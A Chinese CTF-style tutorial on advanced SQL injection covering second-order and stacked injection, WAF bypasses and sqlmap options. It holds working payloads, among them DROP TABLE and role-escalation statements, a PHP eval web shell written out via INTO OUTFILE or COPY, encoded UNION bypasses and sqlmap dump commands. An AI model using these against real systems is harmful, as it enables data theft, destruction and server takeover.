SQL 注入进阶
2025/9/10大约 8 分钟
SQL 注入进阶
本文适合
已掌握基本 SQL 注入(布尔/联合/报错/时间)的学习者。学完你能:绕过 WAF、使用 sqlmap 高级功能、理解二次注入和堆叠注入
二次注入
二次注入是指恶意数据先被安全地存入数据库,后续读取使用时未转义导致注入。
场景:
1. 用户注册时输入用户名: admin'--
2. 注册时使用了参数化查询,安全存入数据库
3. 用户修改密码时,代码从数据库读取用户名构造 SQL
4. SQL 变成: UPDATE users SET password='new' WHERE name='admin'--'
5. 实际修改的是 admin 的密码# 二次注入示例
# 注册(安全)
cursor.execute("INSERT INTO users (name, pass) VALUES (%s, %s)", ("admin'--", "123"))
# 修改密码(不安全,从数据库读取后直接拼接)
cursor.execute(f"SELECT name FROM users WHERE id={user_id}")
username = cursor.fetchone()[0]
# 此时 username = "admin'--"
cursor.execute(f"UPDATE users SET password='{new_pass}' WHERE name='{username}'")
# 实际执行: UPDATE users SET password='new' WHERE name='admin'--'堆叠注入
堆叠注入利用分号执行多条 SQL 语句。
前提:数据库驱动支持多语句执行
payload 示例:
id=1; DROP TABLE users;--
id=1; INSERT INTO users VALUES('hacker','pass');--
id=1; UPDATE users SET role='admin' WHERE name='test';--# 堆叠注入配合写文件
# MySQL
id=1; SELECT '<?php eval($_POST[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php';--
# PostgreSQL
id=1; COPY (SELECT '<?php eval($_POST[cmd]); ?>') TO '/var/www/html/shell.php';--注意:
- MySQL 的 multi_query 函数支持堆叠
- PHP 的 mysqli_multi_query 支持
- PDO 默认不支持,需要显式开启
- 不同数据库和驱动的限制不同WAF 绕过技巧
大小写变换
-- WAF 可能只匹配小写
UnIoN SeLeCt 1,2,3
uniON seLECT 1,2,3内联注释
-- MySQL 内联注释绕过
/*!UNION*/ /*!SELECT*/ 1,2,3
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3
UN/**/ION SE/**/LECT 1,2,3双写绕过
-- 如果 WAF 删除关键字
ununionion selselectect 1,2,3
-- 删除一次 union 和 select 后变成正常的编码绕过
-- URL 编码
%55%4E%49%4F%4E %53%45%4C%45%43%54 1,2,3
-- 双重 URL 编码
%2555%254E%2549%254F%254E %2553%2545%254C%2545%2543%2554 1,2,3
-- Unicode 编码
%u0055%u004E%u0049%u004F%u004E %u0053%u0045%u004C%u0045%u0043%u0054替代函数
-- 用 LIKE 代替 =
SELECT * FROM users WHERE name LIKE 'admin'
-- 用 BETWEEN 代替 >
SELECT * FROM users WHERE id BETWEEN 1 AND 100
-- 用 REGEXP 代替 LIKE
SELECT * FROM users WHERE name REGEXP '^admin'
-- 用 || 代替 CONCAT
SELECT 'a'||'b'||'c'
-- 用 ELT 代替 CASE
SELECT ELT(1, 'first', 'second', 'third')特殊字符
-- 换行符绕过
%0aUNION%0aSELECT%0a1,2,3
-- 制表符绕过
UNION%09SELECT%091,2,3
-- 空字节绕过(某些环境)
UNION%00SELECT%001,2,3
-- 括号绕过
(SELECT(1),(2),(3))
UNION(SELECT(1),(2),(3))等价替换
-- 信息函数替换
database() = schema()
user() = current_user()
version() = @@version
-- 字符串连接
CONCAT(a,b) = a||b (SQLite/PostgreSQL) = CONCAT_WS('',a,b)
-- 子查询绕过
SELECT * FROM users WHERE id=1 AND 1=1
-> SELECT * FROM users WHERE id=1 AND (SELECT 1)
-> SELECT * FROM users WHERE id=1 AND EXISTS(SELECT 1)sqlmap 高级用法
基础用法
# 检测注入点
sqlmap -u "http://target.com/page?id=1"
# POST 请求
sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
# Cookie 注入
sqlmap -u "http://target.com/page" --cookie="session=abc123"
# Header 注入
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 1.1.1.1"高级参数
# 指定数据库
sqlmap -u "url" --dbms=mysql
# 指定注入技术
sqlmap -u "url" --technique=BEUS # B:布尔 E:报错 U:联合 S:堆叠 T:时间
# 绕过 WAF
sqlmap -u "url" --tamper=space2comment,between,randomcase
# 常用 tamper 脚本
space2comment # 空格替换为 /**/
between # > 替换为 BETWEEN,= 替换为 LIKE
randomcase # 随机大小写
charencode # URL 编码
equaltolike # = 替换为 LIKE
greatest # > 替换为 GREATEST
apostrophemask # 单引号替换为 UTF-8 全角数据提取
# 列出数据库
sqlmap -u "url" --dbs
# 列出表
sqlmap -u "url" -D database --tables
# 列出列
sqlmap -u "url" -D database -T table --columns
# 导出数据
sqlmap -u "url" -D database -T table --dump
# 搜索列名和表名
sqlmap -u "url" --search -C flag,secret,key
sqlmap -u "url" --search -T flag,secret
# 执行自定义 SQL
sqlmap -u "url" --sql-query="SELECT * FROM users LIMIT 1"性能和隐蔽
# 线程数
sqlmap -u "url" --threads=10
# 延迟(避免触发限流)
sqlmap -u "url" --delay=1
# 随机 User-Agent
sqlmap -u "url" --random-agent
# 代理
sqlmap -u "url" --proxy="http://127.0.0.1:8080"
# 指定 level 和 risk
sqlmap -u "url" --level=3 --risk=3
# level 1-5: 测试深度
# risk 1-3: 测试风险(risk 高可能触发数据修改)常见绕过组合
# MySQL + WAF 绕过
sqlmap -u "url" --dbms=mysql --tamper=space2comment,randomcase,between
# 绕过关键字过滤
sqlmap -u "url" --tamper=charencode,apostrophemask,randomcase
# 自定义 tamper 脚本
# 在 sqlmap/tamper/ 目录下创建自定义脚本常见误区
- 把 WAF 绕过当成 SQL 注入原理本身。
- 不了解二次注入的原理。
- sqlmap 只会基本用法,不会 tamper 和高级参数。
- 不验证 sqlmap 结果是否正确。
一句话判断
基础 SQL 注入已经确认,但遇到过滤、无明显回显、多语句、二次触发、数据库差异、sqlmap 需要调参或需要从读数据走到写文件/提权时,就进入 SQL 注入进阶。
进阶 SQL 注入的关键是先确认原始注入关系,再针对过滤、执行环境和数据库能力选择路线。
题目中常见信号
- 单引号、
union、select、空格被过滤。 - payload 第一次提交没效果,后续页面或功能才触发异常。
- 分号可能执行多条语句。
- 页面没有回显,但时间、状态、排序或错误可控。
- 数据库不是 MySQL,语法和系统表不同。
- sqlmap 能识别但 dump 不稳定。
- 数据库用户可能有
FILE、COPY、xp_cmdshell等能力。
核心概念
进阶阶段要拆成三个问题:
注入点:输入如何进入 SQL 结构
执行环境:数据库、驱动、权限、过滤器、WAF
目标:读数据、改数据、写文件、命令执行、绕过登录WAF 绕过只是表达方式变化;二次注入是触发时机变化;堆叠注入是执行能力变化。三者不要混在一起。
最小分析流程
- 用基础 payload 再次证明注入存在。
- 判断数据库类型和注入上下文。
- 收集过滤规则:哪些字符、关键词、空白被拦。
- 选择绕过:注释、大小写、编码、函数替代、参数污染。
- 判断是否支持堆叠语句。
- 如果是二次注入,记录存储点和触发点。
- 使用 sqlmap 时保存原始请求,用
-r、--dbms、--technique、--tamper精确控制。 - 提取结果后手动验证关键数据。
最小验证示例
过滤规则探测:
curl -i 'http://target/item?id=1 union select 1,2'
curl -i 'http://target/item?id=1/**/union/**/select/**/1,2'
curl -i 'http://target/item?id=1%0aUnIoN%0aSeLeCt%0a1,2'堆叠注入探测:
id=1;select sleep(3);--二次注入验证:
注册用户名:admin'--
触发点:修改密码、搜索自己用户名、导出报表
观察是否影响 admin 或 SQL 结构sqlmap 精确请求:
sqlmap -r request.txt --dbms=mysql --technique=BT --tamper=space2comment,randomcase常见利用 / 解题路线
路线总览:
路线一:WAF 绕过
空格 -> /**/、%09、%0a
关键字 -> 大小写、内联注释、双写
等号/大于号 -> LIKE、BETWEEN、REGEXP路线二:二次注入
存储恶意值 -> 后续功能拼接该值 -> SQL 结构被改变路线三:堆叠注入
原查询; UPDATE/INSERT/SELECT INTO OUTFILE;--适合驱动允许多语句。
路线四:数据库能力利用
MySQL INTO OUTFILE
PostgreSQL COPY
SQL Server xp_cmdshell
SQLite attach database具体语法回到 非MySQL数据库注入。
路线五:sqlmap 辅助
-r 保存完整请求
--technique 限定技术
--tamper 适配过滤
--risk/--level 控制强度
--sql-query 做手动验证常见失败原因
- 没先确认基础注入:绕过之前要知道原始 SQL 上下文。
- WAF 绕过脱离语义:payload 过了 WAF 但 SQL 语法不成立。
- 二次注入触发点找错:存储成功不等于触发成功。
- 堆叠不被驱动支持:数据库支持不代表应用驱动允许。
- sqlmap 误报或误判:关键结果要手动复现。
- 数据库类型错:MySQL payload 不能直接套 PostgreSQL/SQLite。
- 权限不足:写文件和命令执行需要数据库权限和路径条件。
迷你案例
目标搜索接口确认有注入,但过滤空格和 union:
/search?id=1 union select 1,2返回拦截。测试注释和大小写:
/search?id=1%0aUnIoN%0aSeLeCt%0a1,database()页面显示数据库名,说明过滤只做了简单关键字和空格匹配。
继续查表:
1%0aUnIoN%0aSeLeCt%0a1,group_concat(table_name)%0aFrOm%0ainformation_schema.tables%0aWhErE%0atable_schema=database()WP 要说明:
基础注入已由真假差异确认
WAF 过滤空格和小写 union/select
使用换行和大小写绕过
最终仍是 union 注入,不是新漏洞类型